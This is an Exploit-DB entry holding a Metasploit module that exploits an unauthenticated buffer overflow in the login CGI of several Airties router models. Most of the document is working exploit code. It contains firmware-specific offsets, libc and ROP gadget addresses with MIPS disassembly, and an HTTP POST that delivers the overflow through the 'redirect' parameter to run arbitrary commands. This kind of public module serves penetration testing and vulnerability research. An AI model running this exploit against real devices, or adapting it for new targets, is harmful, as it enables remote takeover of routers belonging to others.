Airties - login-cgi Buffer Overflow (Metasploit)

EDB-ID:

37170




Platform:

Hardware

Date:

2015-06-01


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Airties login-cgi Buffer Overflow',
      'Description'    => %q{
        This module exploits a remote buffer overflow vulnerability on several Airties routers.
        The vulnerability exists in the handling of HTTP queries to the login cgi with long
        redirect parametres. The vulnerability doesn't require authentication. This module has
        been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
        Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
        Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
      },
      'Author'         =>
        [
          'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'Arch'           => ARCH_MIPSBE,
      'References'     =>
        [
          ['EDB', '36577'],
          ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
          ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
        ],
      'Targets'        =>
        [
          [ 'AirTies_Air5650v3TT_FW_1.0.2.0',
            {
              'Offset'         => 359,
              'LibcBase'       => 0x2aad1000,
              'RestoreReg'     => 0x0003FE20, # restore s-registers
              'System'         => 0x0003edff, # address of system-1
              'CalcSystem'     => 0x000111EC, # calculate the correct address of system
              'CallSystem'     => 0x00041C10, # call our system
              'PrepareSystem'  => 0x000215b8  # prepare $a0 for our system call
            }
          ]
        ],
      'DisclosureDate'  => 'Mar 31 2015',
      'DefaultTarget'   => 0))

      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR')
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/cgi-bin/login',
        'method'  => 'GET'
      })

      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("#{peer} - Exploiting...")
    execute_cmdstager(
      :flavour  => :echo,
      :linemax => 100
    )
  end

  def prepare_shellcode(cmd)
    shellcode = rand_text_alpha_upper(target['Offset'])                    # padding
    shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N")     # restore registers with controlled values

                 # 0003FE20                 lw      $ra, 0x48+var_4($sp)
                 # 0003FE24                 lw      $s7, 0x48+var_8($sp)
                 # 0003FE28                 lw      $s6, 0x48+var_C($sp)
                 # 0003FE2C                 lw      $s5, 0x48+var_10($sp)
                 # 0003FE30                 lw      $s4, 0x48+var_14($sp)
                 # 0003FE34                 lw      $s3, 0x48+var_18($sp)
                 # 0003FE38                 lw      $s2, 0x48+var_1C($sp)
                 # 0003FE3C                 lw      $s1, 0x48+var_20($sp)
                 # 0003FE40                 lw      $s0, 0x48+var_24($sp)
                 # 0003FE44                 jr      $ra
                 # 0003FE48                 addiu   $sp, 0x48

    shellcode << rand_text_alpha_upper(36)                                 # padding
    shellcode << [target['LibcBase'] + target['System']].pack('N')         # s0 - system address-1
    shellcode << rand_text_alpha_upper(16)                                 # unused registers $s1 - $s4
    shellcode << [target['LibcBase'] + target['CallSystem']].pack('N')     # $s5 - call system

                 # 00041C10                 move    $t9, $s0
                 # 00041C14                 jalr    $t9
                 # 00041C18                 nop

    shellcode << rand_text_alpha_upper(8)                                  # unused registers $s6 - $s7
    shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N')  # write sp to $a0 -> parametre for call to system

                 # 000215B8                 addiu   $a0, $sp, 0x20
                 # 000215BC                 lw      $ra, 0x1C($sp)
                 # 000215C0                 jr      $ra
                 # 000215C4                 addiu   $sp, 0x20

    shellcode << rand_text_alpha_upper(28)                                 # padding
    shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N')     # add 1 to s0 (calculate system address)

                 # 000111EC                 move    $t9, $s5
                 # 000111F0                 jalr    $t9
                 # 000111F4                 addiu   $s0, 1

    shellcode << cmd
  end

  def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'     => '/cgi-bin/login',
        'encode_params' => false,
        'vars_post' => {
          'redirect' => shellcode,
          'user'     => rand_text_alpha(5),
          'password' => rand_text_alpha(8)
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end